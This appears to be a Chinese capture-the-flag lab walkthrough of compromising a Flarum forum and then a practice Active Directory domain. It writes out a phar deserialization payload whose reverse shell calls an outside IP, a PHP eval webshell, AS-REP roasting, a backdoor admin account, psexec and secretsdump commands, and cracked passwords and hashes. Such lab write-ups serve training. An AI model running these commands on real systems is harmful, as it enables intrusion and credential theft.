打的是flarum论坛，p牛之前有写过phar反序列化的利用：
从偶遇Flarum开始的RCE之旅
rockyou.txt爆出administrator/1chris，登录
用这个工具生成phar包
https://github.com/ambionics/phpggc
payload:
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'"
后台编辑自定义css
在css文件内容插入phar包内容
@import (inline)

用phar协议触发反序列化，反弹shell
.test {
content: data-uri('phar://./assets/forum.css');
}
capabilities提权
Linux提权之：利用capabilities提权 - f_carey - 博客园
getcap -r / 2>/dev/null
openssl enc -in "/root/flag/flag01.txt"读到flag1
flag3
切到/tmp目录下wget下载fscan和frp，扫内网搭隧道
- 172.22.60.52、外网Flarum服务
- 172.22.60.8、XIAORANG\DC

- 172.22.60.15、XIAORANG\PC1
再写个webshell连接蚁剑
echo "<?php @eval(\$_POST[1]);?>" > /var/www/html/public/assets/1.php
在config.php里读到数据库账密
蚁剑连上去
读到一个用户表，dump下来并处理成users.txt
打AS-REP Roasting
proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8 xiaorang.lab/ -usersfile users.txt爆出了
$krb5asrep$23$zhangxin@XIAORANG.LAB:872d0819a05f8f00f663e7d0fbf99556$ea31f424385b374ba7aa490a86b2df4090ba2e8b91aabad4e87a10cbdd1b1da3b7437175c0c3e174e6c25906caf2ec8d01fb83b76e4aab1aca953530a57d9336c574723fb3d330f74c4ca9ad509d59795604753f99049b786db8f9fdcc1bd1fde5c4d3ddeb07cd5a70541f462b2ceeb72799e8aae0030a18e32dfede2bef99d08aa042f16f64a29d0b8326302f8344e9bb772553aeac5b79e2ae8bb2d12c02aea11ff584e310265768a196ab6f2a08fb379121875d63cd817666ea522e731d532b2fb86bd8167dc429891d35ce120e319f98260440f45a042ca8530261315967cf284afbb1f366ea41bfaed5

wangyun@xiaorang.lab/Adm12geCrdp连接172.22.60.15
给到一个xshell
SharpXDecrypt.exe收集一下密码
zhangxin@xiaorang.lab/admin4qwY38cc一样的rdp连上去
bloodhound收集一下信息
SharpHound.exe -c all
发现zhangxin用户是ACCOUNT OPERATORS组的，可以打RBCD

export KRB5CCNAME=Administrator.ccache修改/etc/hosts
172.22.60.15 PC1.xiaorang.lab
172.22.60.42 FILESERVER.xiaorang.lab
172.22.60.8 XIAORANG\DCpsexec无密码连上FILESERVER，拿到SYSTEM权限(psexec自带提权效果)
proxychains4 impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk
读到flag3
flag4
接着FILESERVER有DCSync权限
先创个用户RDP连上去
net user Z3r4y 0x401@admin /add
net localgroup administrators Z3r4y /add 
但因为靶机配置原因没连上去
直接secretsdump，先导出SYSTEM的hash
proxychains4 impacket-secretsdump -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::再打dcsync 拿到域管hash
